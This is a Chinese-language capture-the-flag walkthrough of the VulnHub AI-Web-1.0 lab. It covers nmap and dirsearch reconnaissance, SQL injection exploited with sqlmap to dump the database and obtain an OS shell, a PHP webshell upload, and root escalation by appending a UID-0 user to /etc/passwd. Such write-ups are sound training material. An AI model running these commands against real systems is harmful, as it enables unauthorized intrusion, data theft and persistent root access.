准备阶段
下载地址
Download: https://drive.google.com/open?id=140bO4W6v7fd_dWhCmcFHTf86zwL9s_xP
Download (Mirror): https://download.vulnhub.com/aiweb/AI-Web-1.0.7z
网络设置
将网络设置为桥接模式
信息收集
端口扫描nmap
网络使用了NAT模式,先查看本机的VMware8(默认)虚拟网卡的网段
网段为192.168.52.1/24,使用nmap探测靶场网段
nmap -sn 192.168.52.1/24
-sn:禁用端口扫描
得知靶机IP为:192.168.52.130
接下来使用一些常规扫描
nmap -sV -O -sT 192.168.52.131
-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息
-O:开启操作系统探测,尝试推断目标主机运行的操作系统类型及其版本
-sT:执行TCP Connect扫描,这是最基本的扫描类型,通过建立完整的TCP连接来检测端口状态
nmap -sU 192.168.52.131
-sU:执行UDP扫描,用于探测开放的UDP端口
目录扫描dirsearch
对网站目录进行扫描
python37 dirsearch.py -u http://192.168.52.130/ -x 404
-x:排除指定状态码
指纹识别dismap
dismap-0.4-windows-amd64.exe -u http://192.168.52.130/
收集汇总
- 靶机为Linux系统,什么版本的目前不清楚
- 只开放了80端口,使用的Apache服务
- 敏感目录为robots.txt
渗透过程
访问网站和敏感文件目录
首先是默认的80端口
只有一句话,翻译:甚至不用谷歌搜索我的内容
访问robots.txt文件
发现其他的敏感目录
http://192.168.52.130/robots.txt
m3diNf0目录
对网站的m3diNf0目录进行扫描
python37 dirsearch.py -u http://192.168.52.130/m3diNf0 -x 404
-x:排除指定状态码
phpinfo页面
发现网站根目录: /home/www/html/web1x443290o2sdf92213
se3reTdir777目录
发现一个搜索框
se3reTdir777/uploads/目录
SQL注入
判断是否存在
首先输入1,回显了账号密码
再输入1',此时发生了报错
使用burpsuite抓包,对其进行深入判断
此时我的TsojanScan插件判断出来了两种注入类型
报错注入
延时注入
手工判断后发现确实存在注入,注入点为uid
SQLmap一把梭-《梭哈是一种智慧》
将uid后面的参数改为*
SQLmap会自动识别
然后鼠标右键-->Copy to file-->添加文件名和后缀-->保存到桌面
将txt文件移动到SQLmap的目录下面
之前已经爆出了数据库名,现在直接获取所有内容
如果为移动文件夹,那么-r后面直接加入文件路径,比如:C:\Users\用户名\Desktop\1.txt
python37 sqlmap.py -r ./1.txt -D aiweb1 --dump
-r:指定文件
-D:数据库名
--dump:获取所有内容 注意:不推荐!!!因为这是靶机,所以才使用
看见等于号,立马判断是base64编码,进行解密后
RmFrZVVzZXJQYXNzdzByZA==;FakeUserPassw0rd
TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==;MyEvilPass_f908sdaf9_sadfasf0sa
TjB0VGhpczBuZUFsczA=;N0tThis0neAls0
SQLmap获取shell
python37 sqlmap.py -r ./1.txt --os-shell
--os-shell:获取对网站进行shell获取
将网站和发现的根目录拼接起来,得到
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
访问http://192.168.52.130/se3reTdir777/uploads/tmpubgnv.php
上传php木马后,使用哥斯拉连接
提权
openssl提权
首先查whoami,并不是root权限
查看/etc/passwd文件,看看有那些权限
使用openssl添加用户
openssl passwd -1 -salt h 123456
添加用户h密码为123456
将用户写入/etc/passwd文件里
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd
查看/etc/passwd文件,是否有写入进去
成功写入
cat /etc/passwd
切换h用户
su h
输入密码后whoami,显示为root,完成提权
查看flag
cat /root/flag.txt
总结
- 确认靶机IP
- 端口和目录扫描
- 使用SQLmap进行注入获取shell
- 使用openssl提权